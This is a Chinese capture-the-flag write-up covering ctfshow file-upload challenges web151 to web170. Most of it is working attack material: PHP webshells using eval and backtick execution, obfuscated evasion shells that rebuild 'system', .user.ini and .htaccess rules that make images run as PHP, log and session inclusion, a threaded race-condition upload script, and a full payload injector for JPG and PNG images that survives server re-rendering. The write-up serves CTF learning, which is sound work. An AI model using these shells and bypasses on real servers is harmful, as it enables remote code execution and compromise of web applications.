ctfshow-文件上传篇

参考:
https://www.wlhhlc.top/posts/14827/#web155
https://blog.csdn.net/miuzzx/article/details/109537262

Web151

提示如下:


可以直接关闭js后上传,也可以上传一个.png格式的图片后抓包修改,将内容改为木马,文件名改为1.php

服务器会返回上传路径,直接访问并造成代码执行:

/upload/1.php?1=system('tac ../flag.php');

web152

同上

Web153

无法抓包上传php文件了。
php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。

自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

也就是我们可以通过目录下的.user.ini中的内容重写全局配置文件php.ini。
在.user.ini中有两个配置选项:

auto_prepend_file=filename      //包含在文件头
auto_append_file=filename       //包含在文件尾

当这两个选项被配置时,当前目录下的php文件都会遵循这两个选项,在头尾include()相应的文件。
当然open_basedir也可以在.user.ini中重写。
由此,我们可以先上传一个png马,再上传一个.user.ini进行配置重写,即可使index.php中包含木马文件。
先上传png马:


再上传.user.ini文件:

payload为:

auto_append_file="/var/www/html/upload/1.png"

最后访问/upload/index.php,并带有如下get参数即可:

/upload/?1=system('tac ../flag.php');

注意,我们的操作都是在upload目录下的,所以也应该访问upload目录下默认的php文件,才会包含进木马。

Web154

上传.user.ini文件没有问题,但是上传图片马时候出了问题,原因在于对图片马内容做了检测,不能有<xphp出现,其中x是任意字符。使用短标签绕过。
php中短标签的写法有如下四种:

<? echo '123';?>               //前提是开启配置参数short_open_tags=on
<?=(表达式)?>  等价于 <?php echo (表达式)?>             //不需要开启参数设置
<% echo '123';%>                              //前提是开启配置参数asp_tags=on
<script language=”php”>echo '123'; </script>                //不需要修改参数开关

不过第三种与第四种只能在php7.0以下使用。
那么只需要在上一题的基础上将图片马的内容改为:

<?=eval($_GET[1]);?>

上传图片马:



上传.user.ini文件:


Web155

同上。

Web156

在前面的基础上过滤了[]那我们直接用{}来代替,图片马内容为

<?=eval($_GET{1});?>

Web157

又过滤了{};,那么直接输出flag吧,图片马修改如下:

<?=system('tac ../fl*')?>

或者:

<?=`tac ../f*`?>

Web158

同上

Web159

过滤了(),直接使用反引号执行命令:

<?=`tac ../f*`?>

注意:PHP 支持一个执行运算符:反引号(``)。注意这不是单引号!PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符的效果与函数 shell_exec()相同。但是,关闭了 shell_exec() 时反引号运算符是无效的。

Web160

反引号给ban了,使用文件包含进行读取flag,图片马如下:

<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>

还可以通过日治包含:
先通过访问,在日志中写入木马:


图片马如下,将日志include进去。因为log被过滤了,所以需要拼接:

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

然后和之前题目一样再上传.user.ini文件,最后进行代码执行即可:


Web161

上传文件失败了,应该是对文件的头部进行了检测。
getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求。
所以在之前的基础上去添加GIF89A进行图片头欺骗。
一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形。
先进行日志注入:


写入图片马:

再写入.user.ini文件,同样要加图片头:

然后访问/upload/进行代码执行就ok了:

Web162

又把.给ban了,使用session文件包含。
先上传.user.ini文件,因为把.过滤了,所以包含的文件名直接改为png即可:

然后上传png文件,其中包含了session文件:

接下来就是开始条件竞争去创建session文件,一边上传文件一边去验证是否包含session成功:

#-- coding:UTF-8 --
import io
import requests
import threading
url = 'http://9bb9ff09-db3f-4fa6-9a13-48a52e7eb10f.challenge.ctf.show:8080/'

def write(session):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
    }
    while True:
        f = io.BytesIO(b'GIF89a\nctfshow')
        files = {'file': ('1.png', f, 'image/png')}
        response = session.post(url+"upload.php",cookies={'PHPSESSID': 'ctfshow'}, data=data, files=files)
def read(session):
    while True:
        response = session.get(url+'upload/')
        if 'ctfshow' in response.text:
            print(response.text)
            break
        else:
            print('retry')

if __name__ == '__main__':
    session = requests.session()
    for i in range(30):
        threading.Thread(target=write, args=(session,)).start()
    for i in range(30):
        threading.Thread(target=read, args=(session,)).start()

Web163

同上。也可以使用burpsuite:
还是需要上传.user.ini文件,将sess_ctfshow包含进来,然后上传一个图片,其中指定了PHP_SESSION_UPLOAD_PROGRESS为一段php脚本:


竞争的另一方是访问/upload/index.php,设置包如下:


两边同时不停的发包,直到/upload/index.php文件包含session文件成功。结果如下:

Web164

这一题考察的是png图片的二次渲染,参考:
https://www.fujieace.com/penetration-test/upload-labs-pass-16.html
生成图片马如下:

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

可以看到其中是有木马的:



然后访问图片地址即可进行代码执行:


Web165

考察的是jpg的二次渲染,仍然参考上一题的博客。
先将下面这一张jpg上传上去,然后下载下来服务器返回的图片download.jpg


然后使用如下脚本生成payload_download.jpg

php jpg_payload.php download.jpg

jpg_payload.php如下:

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = '<?=eval($_POST[1]);?>';


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }
    
    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

生成的payload_download.jpg中是有php代码的:

上传者这张新图片后访问,即可进行代码执行:


Web166

view-source:一下源码:

image.png

需要上传zip文件:

注意Content-Typeapplication/x-zip-compressed
在源码中读出文件包含:

那么直接包含上传的文件并且命令执行即可:

Web167

提示httpd,应该和apache有关。关于apache的解析漏洞可以参考:
https://www.cnblogs.com/milantgh/p/5116955.html
不过这一题并不是解析漏洞。

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

.htaccess叫分布式配置文件,它提供了针对目录改变配置的方法——在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。并且子目录中的指令会覆盖更高级目录或者主服务器配置文件中的指令。

因为只能上传jpg格式的文件,那么可以配合上传的htaccess文件,将jpg文件解析为php文件,过程如下:
先上传.htaccess文件:

AddType application/x-httpd-php .jpg                 //将.jpg后缀的文件解析成php

或者可以是:

<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>

再上传图片马:



源代码中可以看到上传地址:



然后访问文件进行代码执行即可:

其实.htaccess文件也有如下两项,可以为需要在顶部或底部加载文件的文件夹服务:

php_value auto_prepend_file "/home/fdipzone/header.php"
php_value auto_append_file "/home/fdipzone/footer.php"

Web168

提示是免杀,应该是过滤了很多函数,使用免杀马:

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

只给上传png:



抓包后改包即可,上传免杀马:



访问上传的1.php并进行命令执行即可。

Web169

只能上传zip文件:


先上传.user.ini,注意修改Content-Type(不知道为啥这里又需要image/png了):

然后进行日志注入:

最后再上传一个a.php文件,内容无所谓了,只要能上传成功即可,反正会包含日志文件中的木马:

最后再访问a.php并进行代码执行即可。

Web170

同上。

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容